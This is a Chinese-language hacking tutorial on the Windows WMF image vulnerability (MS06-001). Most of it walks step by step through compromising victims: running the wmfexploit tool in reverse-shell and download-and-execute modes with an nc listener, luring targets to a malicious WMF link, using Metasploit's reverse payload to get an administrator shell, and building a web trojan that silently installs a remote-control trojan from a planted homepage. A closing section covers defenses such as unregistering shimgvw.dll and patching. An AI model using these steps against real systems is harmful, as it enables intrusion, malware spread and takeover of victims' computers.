圖片引發(fā)的溢出危機(圖)
由于wmf漏洞涉及的Windows系統(tǒng)版本很多,包括從Windows 98到Windows 2003之間的所有系統(tǒng)版本,因此危害十分巨大。目前利用wmf漏洞的攻擊主要包括兩類:1.溢出攻擊 2.利用漏洞制作的網(wǎng)頁木馬。前者可以讓黑客得到系統(tǒng)的最高權(quán)限,后者則可以將受害者的電腦成為黑客的肉雞。下面我們先來看看黑客是如何利用wmf漏洞的。
一.使用專用溢出工具
wmf漏洞的溢出工具在漏洞公布的幾天后就出現(xiàn)在網(wǎng)上,雖然公布時間較早,存在一些缺陷,但是仍然能輕松得將存在漏洞的主機溢出。這款溢出工具名叫wmfexploit。下載后將其解壓到c盤(由于溢出程序會被殺毒軟件認為是病毒,因此測試時需要將殺毒軟件關(guān)閉),點“開始”→“運行”,輸入“CMD”運行“命令提示符”。在“命令提示符”中進入c盤,輸入wmfexploit后就可以查看其使用說明了。其溢出方式有兩種:1.反向溢出式 2.主動下載執(zhí)行式。
1.反向溢出,穿透防火墻
反向溢出的最大好處就是可以穿透防火墻。同時由于wmf漏洞的特殊性,我們無法通過漏洞掃描器來確定哪臺主機存在漏洞,因此可以使用反向連接,讓有漏洞的主機主動連接本機。
在“命令提示符”中運行wmfexploit后,可以查看其反向溢出的使用說明。其使用方法如下:wmfexploit 1
圖1.成功設(shè)置反向連接
設(shè)置完成后,我們進入“命令提示符”,然后運行著名的網(wǎng)絡(luò)工具nc,輸入如下命令“nc -vv -l -p 888”,這樣nc就開始監(jiān)聽本機的888端口。接著我們就可以引誘目標(biāo)訪問我們的惡意wmf文件了。將網(wǎng)址“http://192.168.0.1:777/any.wmf”發(fā)給對方即可。當(dāng)目標(biāo)打開這個地址時,就會運行我們捆綁有溢出信息的wmf文件。我們回到用nc監(jiān)聽的窗口,可以看到,目標(biāo)主機已經(jīng)成功溢出了。
圖2.溢出后得到一個shell
提示:上文中提到的IP地址192.168.0.1,屬于內(nèi)網(wǎng)IP,只是方便進行本機測試,如果想對外網(wǎng)的主機進行測試,則需要將本機的內(nèi)網(wǎng)IP改為外網(wǎng)IP。
2.下載執(zhí)行,直接運行木馬
除反向溢出外,wmfexploit還有一種溢出方式就是下載執(zhí)行式。當(dāng)目標(biāo)主機運行惡意wmf文件發(fā)生溢出后,不會將shell發(fā)送到本機監(jiān)聽的端口上,而是直接從指定的網(wǎng)址上下載一個exe文件運行,這個文件可以是木馬,也可以是其他程序。當(dāng)然我們還需要有一個網(wǎng)頁空間,用來放置需要執(zhí)行的exe文件。
查看下載執(zhí)行式溢出的使用方法:wmfexploit 2
二.使用圖形化的溢出測試系統(tǒng)
metasploit是一款著名的溢出測試系統(tǒng),幾乎可以對目前所有的溢出漏洞進行測試,可以說是所有溢出程序的整合。當(dāng)然其不是簡單得將溢出程序堆放在一起,而是提供了一個方便操作,針對性強的溢出測試平臺。這個測試系統(tǒng)的最大優(yōu)點是使用了一個完全圖形化的操作界面,這對于菜鳥進行溢出測試是很方便的。
下載安裝metasploit。完成后點擊“開始”,運行程序組中的“MSFUpdate”,程序會彈出一個“命令提示符”窗口,顯示需要更新的文件列表,輸入“yes”回車后就可以開始進行溢出程序更新。更新完畢后運行“MSFweb”,用于開啟本機的metasploi瀏覽服務(wù)。然后打開瀏覽器,在地址欄中輸入“http://127.0.0.1:55555”,就可以打開metasploi的操作界面。選擇溢出列表中的“Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution”進入漏洞信息界面,然后點擊最下方的“0 - Automatic - Windows XP / Windows 2003 / Windows Vista (default)”進行測試,在接著出現(xiàn)的“Select Payload:”選項中選擇“win32_reverse”。最后來到溢出相關(guān)信息的填寫處,在選項中只需設(shè)置“HTTPHOST”、“HTTPPORT”、“LHOST”、“LPORT”四項即可,其他保持默認。設(shè)置方法和原理與wmfexploit相似,在此不再闡述。
圖3.在metasploit中填寫溢出信息
同樣將惡意wmf文件的地址發(fā)給目標(biāo),當(dāng)對方發(fā)生溢出后,我們點擊進入metasploit界面上的“SESSIONS”就可以得到一個管理員權(quán)限的shell了。
提示:在使用metasploi之前務(wù)必進行更新,否則很可能沒有wmf漏洞相關(guān)的測試選項。
三.利用漏洞制作網(wǎng)頁木馬
wmf漏洞造成的最大影響就是網(wǎng)絡(luò)上網(wǎng)頁木馬滿天飛,由于殺毒軟件對圖片文件的檢測功能不夠強大,因此利用wmf漏洞制作的網(wǎng)頁木馬很容易成功,也成了最近網(wǎng)頁木馬中的主角。下面我們來了解一下wmf網(wǎng)頁木馬的制作。
首先我們需要準(zhǔn)備一款木馬程序,這里推薦類似灰鴿子的反彈連接型木馬,這樣當(dāng)有目標(biāo)發(fā)生溢出時會通過木馬主動連接我們的主機,而無需我們主動連接,方便了對肉雞的管理。然后將配置好的木馬程序服務(wù)端放置到網(wǎng)頁空間上(可申請免費空間進行存放)。
下載wmf木馬的制作程序ms0601。下載完成后在“命令提示符”中運行,可以看到使用方法很簡單:ms0601 [THE URL OF EXEFILE],直接輸入木馬文件所在的網(wǎng)址即可。回車后就可以在同目錄下生成一個exploit.wmf文件,運行這個wmf文件將會觸發(fā)溢出并自動從網(wǎng)頁上下載木馬文件執(zhí)行。
將exploit.wmf文件上傳到網(wǎng)頁空間中。最后我們需要在網(wǎng)站主頁的源代碼中插入如下一句代碼:。這樣當(dāng)別人訪問主頁時,將不會彈出新的瀏覽器窗口,而是直接運行exploit.wmf進行溢出。
四.填漏洞,防木馬
由于wmf漏洞的公布時間較晚,因此網(wǎng)絡(luò)上還有很多沒有打好補丁的系統(tǒng)。無論是溢出還是網(wǎng)頁木馬,成功率都很高,這也給病毒和木馬的傳播提供了途徑。在了解了黑客如何利用wmf漏洞后,我們再來看看如何才能填補漏洞,防范利用wmf漏洞的網(wǎng)頁木馬。
1.反注冊dll文件
由于需要使用Windows Picture查看惡意wmf文件時才會觸發(fā)溢出,因此如果不方便打系統(tǒng)補丁,可以先嘗試反注冊Windows Picture的dll文件Shimgvw.dll,反注冊后Windows Picture將不能再運行,溢出也就不存在了。
反注冊方法為:點“開始”→“運行”,輸入“regsvr32 -u %windir%/system32/shimgvw.dll”即可。如果想恢復(fù)使用Windows Picture,可以輸入“regsvr32 %windir%/system32/shimgvw.dll”重新注冊。
圖4.反注冊Shimgvw.dll
2.使用漏洞補丁
目前微軟已經(jīng)發(fā)布了該漏洞的補丁程序,下載地址:http://www.microsoft.com/technet/security/Bulletin/MS06-001.mspx,這是最徹底也是最安全的修補方式。
如果不方便打微軟提供的系統(tǒng)補丁,可以推薦使用第三方制作的補丁程序:
3.警惕未知圖片文件
如果惡意的wmf文件放在網(wǎng)頁空間中,我們在訪問這個惡意wmf文件時會產(chǎn)生不同的情況,Win2000主要表現(xiàn)為出現(xiàn)下載提示框,要求下載wmf文件。而WinXP和Win2003則會彈出Windows圖片查看器,圖片的內(nèi)容則無法顯示。碰到這種情況時,我們就應(yīng)該小心了,很有可能這個wmf文件就帶有溢出信息。當(dāng)然不一定只有wmf為后綴的圖片文件才可能觸發(fā)溢出,其他諸如jpg、bmp等圖片格式只要經(jīng)過構(gòu)造,同樣可以進行溢出。因此我們要對不明圖片多加小心,黑客往往會為惡意圖片文件取一個誘人的名字,引誘別人打開。
圖5.打開惡意wmf文件時的表現(xiàn)
此外,升級殺毒軟件是必須的,最新的殺毒軟件病毒庫都已將惡意wmf文件列為病毒。